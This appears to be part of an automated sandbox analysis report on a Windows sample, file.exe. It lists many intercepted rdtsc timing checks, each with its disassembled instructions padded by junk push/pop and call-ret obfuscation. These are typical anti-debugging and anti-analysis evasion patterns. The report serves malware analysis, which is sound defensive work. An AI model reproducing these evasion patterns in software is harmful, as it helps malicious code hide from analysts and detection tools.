Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBB3A9 second address: CBB3B9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBB3B9 second address: CBB3BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBDB74 second address: CBDB7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBDB7A second address: CBDB7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBE69C second address: CBE70F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F1BE47673D9h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov edi, dword ptr [ebp+122D2877h] 0x00000014 push 00000000h 0x00000016 jmp 00007F1BE47673D0h 0x0000001b push 00000000h 0x0000001d pushad 0x0000001e mov dword ptr [ebp+1246D7CDh], esi 0x00000024 sub dword ptr [ebp+122D5CC3h], ecx 0x0000002a popad 0x0000002b xchg eax, ebx 0x0000002c push eax 0x0000002d pushad 0x0000002e jne 00007F1BE47673C6h 0x00000034 jmp 00007F1BE47673D4h 0x00000039 popad 0x0000003a pop eax 0x0000003b push eax 0x0000003c push esi 0x0000003d push eax 0x0000003e push edx 0x0000003f jbe 00007F1BE47673C6h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBF02D second address: CBF032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBF032 second address: CBF037 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBF037 second address: CBF053 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F1BE4ECC06Eh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBE3EF second address: CBE3F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBE3F3 second address: CBE3F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBE3F9 second address: CBE42A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1BE47673D9h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F1BE47673CEh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBFC42 second address: CBFC47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBFC47 second address: CBFC77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F1BE47673C6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jbe 00007F1BE47673C6h 0x00000017 jmp 00007F1BE47673D8h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBFC77 second address: CBFC81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F1BE4ECC066h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBF937 second address: CBF967 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F1BE47673CDh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007F1BE47673D2h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC0535 second address: CC0543 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1BE4ECC066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC6DB6 second address: CC6E19 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F1BE47673C8h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 or edi, 6A9D861Bh 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push esi 0x00000030 call 00007F1BE47673C8h 0x00000035 pop esi 0x00000036 mov dword ptr [esp+04h], esi 0x0000003a add dword ptr [esp+04h], 00000014h 0x00000042 inc esi 0x00000043 push esi 0x00000044 ret 0x00000045 pop esi 0x00000046 ret 0x00000047 xor dword ptr [ebp+122D2892h], esi 0x0000004d push 00000000h 0x0000004f mov edi, eax 0x00000051 push eax 0x00000052 jnl 00007F1BE47673D0h 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC7EB5 second address: CC7EBF instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1BE4ECC066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC8E84 second address: CC8E88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC8E88 second address: CC8E8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCBEDB second address: CCBF4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F1BE47673C8h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push esi 0x00000029 call 00007F1BE47673C8h 0x0000002e pop esi 0x0000002f mov dword ptr [esp+04h], esi 0x00000033 add dword ptr [esp+04h], 0000001Bh 0x0000003b inc esi 0x0000003c push esi 0x0000003d ret 0x0000003e pop esi 0x0000003f ret 0x00000040 push 00000000h 0x00000042 mov dword ptr [ebp+122D2E00h], ebx 0x00000048 mov dword ptr [ebp+122D2AD8h], eax 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F1BE47673CAh 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCCF58 second address: CCCF5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCEF02 second address: CCEF60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007F1BE47673D4h 0x0000000b nop 0x0000000c xor edi, dword ptr [ebp+122D2AC8h] 0x00000012 push 00000000h 0x00000014 movsx ebx, si 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007F1BE47673C8h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 0000001Dh 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 mov ebx, edi 0x00000035 push eax 0x00000036 jl 00007F1BE47673D8h 0x0000003c push eax 0x0000003d push edx 0x0000003e jg 00007F1BE47673C6h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCFF9C second address: CCFFA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD1FA0 second address: CD1FAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F1BE47673C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD1FAB second address: CD1FB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD1FB1 second address: CD1FB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD1FB5 second address: CD205E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnp 00007F1BE4ECC081h 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007F1BE4ECC068h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 0000001Ah 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ecx 0x0000002f call 00007F1BE4ECC068h 0x00000034 pop ecx 0x00000035 mov dword ptr [esp+04h], ecx 0x00000039 add dword ptr [esp+04h], 00000018h 0x00000041 inc ecx 0x00000042 push ecx 0x00000043 ret 0x00000044 pop ecx 0x00000045 ret 0x00000046 call 00007F1BE4ECC077h 0x0000004b mov bx, 56A1h 0x0000004f pop ebx 0x00000050 mov ebx, ecx 0x00000052 push 00000000h 0x00000054 xor bh, 00000001h 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007F1BE4ECC072h 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD205E second address: CD2064 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD41E0 second address: CD41E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD41E7 second address: CD4255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007F1BE47673C8h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 push 00000000h 0x00000024 movzx edi, ax 0x00000027 mov ebx, 7F9389E1h 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push edi 0x00000031 call 00007F1BE47673C8h 0x00000036 pop edi 0x00000037 mov dword ptr [esp+04h], edi 0x0000003b add dword ptr [esp+04h], 00000016h 0x00000043 inc edi 0x00000044 push edi 0x00000045 ret 0x00000046 pop edi 0x00000047 ret 0x00000048 mov edi, dword ptr [ebp+122D3B92h] 0x0000004e push eax 0x0000004f pushad 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F1BE47673D4h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD21E4 second address: CD21E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD3211 second address: CD3216 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD3216 second address: CD3234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1BE4ECC073h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD3234 second address: CD323E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD323E second address: CD3242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD44BA second address: CD44BF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD61B2 second address: CD61B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD7609 second address: CD760D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD760D second address: CD7613 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD6303 second address: CD6308 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD6308 second address: CD630E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD630E second address: CD631C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD631C second address: CD632F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1BE4ECC06Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD632F second address: CD6335 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD6335 second address: CD6339 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD957 second address: CDD95D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD2D5 second address: CDD2E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD2E0 second address: CDD2E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD2E4 second address: CDD2EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD454 second address: CDD47A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1BE47673CDh 0x00000009 jnl 00007F1BE47673C6h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 jno 00007F1BE47673CCh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD47A second address: CDD486 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1BE4ECC06Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD486 second address: CDD494 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 jl 00007F1BE47673C6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE374A second address: CE374E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE374E second address: CE3771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007F1BE47673D8h 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D4FA second address: C6D52E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1BE4ECC06Eh 0x00000008 jmp 00007F1BE4ECC06Fh 0x0000000d push edi 0x0000000e pop edi 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007F1BE4ECC06Ch 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D52E second address: C6D534 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEBDE0 second address: CEBDE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEBDE6 second address: CEBDF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F1BE47673C6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEC647 second address: CEC681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ebx 0x00000007 jmp 00007F1BE4ECC077h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1BE4ECC074h 0x00000013 jng 00007F1BE4ECC066h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEC681 second address: CEC698 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push esi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEC82C second address: CEC830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEC830 second address: CEC834 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF33D4 second address: CF33DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF33DA second address: CF33DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF200A second address: CF2029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 jmp 00007F1BE4ECC06Dh 0x0000000a pop esi 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jp 00007F1BE4ECC066h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF23F9 second address: CF23FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF2686 second address: CF2690 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1BE4ECC066h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF3292 second address: CF329E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1C98 second address: CF1C9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7D89 second address: CF7DA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1BE47673D4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7DA6 second address: CF7DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF6BF3 second address: CF6C19 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1BE47673D8h 0x00000008 jmp 00007F1BE47673D0h 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jl 00007F1BE47673CEh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF6C19 second address: CF6C29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F1BE4ECC066h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF6C29 second address: CF6C50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673CCh 0x00000007 jmp 00007F1BE47673D7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF6C50 second address: CF6C55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF6C55 second address: CF6C5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF6C5B second address: CF6C7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F1BE4ECC073h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1073 second address: CC1079 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1079 second address: CC107D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC15F8 second address: CC160A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC16C4 second address: CC16C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC16C9 second address: CC16D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC16D0 second address: CC16E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F1BE4ECC066h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC16E4 second address: CC16F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F1BE47673CCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC16F2 second address: CC16FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [eax] 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c pop esi 0x0000000d rdtsc
